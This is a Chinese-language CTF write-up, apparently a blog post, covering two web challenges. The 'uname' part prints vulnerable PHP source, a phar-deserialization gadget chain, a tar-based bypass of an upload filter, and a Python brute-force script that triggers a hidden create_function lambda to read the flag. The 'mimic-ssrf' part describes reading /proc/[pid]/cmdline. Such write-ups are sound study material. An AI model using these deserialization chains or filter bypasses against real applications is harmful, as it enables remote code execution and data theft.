前言 和安洵杯冲了,在安洵杯没思路的时候去做了一下,就做了一下第一题
uname 源码很简单,分为exists和upload两部分
<?php class name1 { public $var; public function __destruct ( ) { echo $this ->var; } } class name2 { public function __toString ( ) { $_POST["func" ](); return "" ; } } header("Content-type: text/html;charset=utf-8" ); $ip=$_SERVER['REMOTE_ADDR' ]; $find_this = create_function("" , 'die(`cat /flag`);' ); error_reporting(0 ); $filename = $_GET['filename' ]; if (!$_GET['ip' ]){ echo $ip; } if ($filename == NULL ){ die (); } if (file_exists($filename)){ echo '<script type="text/javascript">alert("该文件存在");</script>' ; } else { echo '<script type="text/javascript">alert("该文件不存在");</script>' ; }
很明显是phar反序列化,file_exists触发,然后upload过滤了一系列内容,但是可以使用tar文件进行反序列化
<?php class name1 { public $var; public function __destruct ( ) { echo $this ->var; } } class name2 { public function __toString ( ) { $_POST["func" ](); return "" ; } } $obj=new name1(); $b=new name2(); $obj->var=$b; @unlink("test.tar" ); $phar = new PharData("get_flag.tar" ); $phar["AAABshpik" ] = "FLAGFLAGFLAG" ; $phar->setMetadata($obj);
然后改后缀为jpg就行了,但其实有个问题,这里不是对tar文件进行操作判断是否有那个字符了吗?
exec("tar -tf " .$_FILES["file" ]["tmp_name" ],$r_array); if (in_array(".phar/.metadata" ,$r_array)){ return false ; } return true ;
让我们测试一下
-t或–list 列出备份文件的内容,而这个tar的文件内容有两部分,他只检测了第一部分–,所以就轻而易举的绕过了 然后后面在本地看一下文件名是什么,利用exists页面的$ip=$_SERVER[‘REMOTE_ADDR’];这个输出内容加上那个字符串经过md5解码一下就可以,然后完整目录是
然后在exists页面使用phar协议进行访问
但是同时要传参,这里需要去执行那个create_function
$find_this = create_function("", 'die(`cat /flag`);');
网上有文章
代码很简洁粗暴,开头就创建了一个全局函数,可以查看flag。 create_function生成的函数名有些特殊,它是NULL字符加上”lambda_”再加个一个数字标识(\x00lambda_数字标识),其中数字标识代表它是当前进程中的第几个匿名函数。create_function的实现步骤如下: 获取参数, 函数体 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串 eval之 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++ 用新的函数名替换__lambda_func
https://www.shawroot.cc/631.html
直接别人脚本跑就好了
import requests i = 0 while True: r = requests.get('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?func_name=%00lambda_1') if 'flag' in r.text: print(r.text) break i += 1 print(i)
但是需要注意的是,这里是post请求,所以要改改
import requests i = 0 data={"func":"%00(这个%00进行url解码以后再发送过去)lambda_1"} while True: r = requests.post('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?filename=phar://./upload/xxxx.gif',) if 'flag' in r.text: print(r.text) break i += 1 print(i)
然后就可以拿到flag了
mimic-ssrf 探测到7410是php的端口 8888端口是go的端口 8080是java
感觉是要读文件才能往下做,但是不知道啥能读文件
/proc/[pid]/cmdline 是一个只读文件,包含进程的完整命令行信息。如果该进程已经被交换出内存或者这个进程是 zombie 进程,则这个文件没有任何内容。该文件以空字符 null 而不是换行符作为结束标志。举例如下:
看了一下wp才发现原来还有这个, 当时在爆破目录的时候,就在想cmdline是什么,但是一时没想起来,哎,还是太年轻了,感觉得找个时间再好好总结一下,接下来就是去爆破读取一下,看看对应语言的源码
/web/java/jdk1.8.0_202/bin/java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=20211 -jar /web/java/Hello_web.jar /web/python/app.py /web/golang/ssrf_go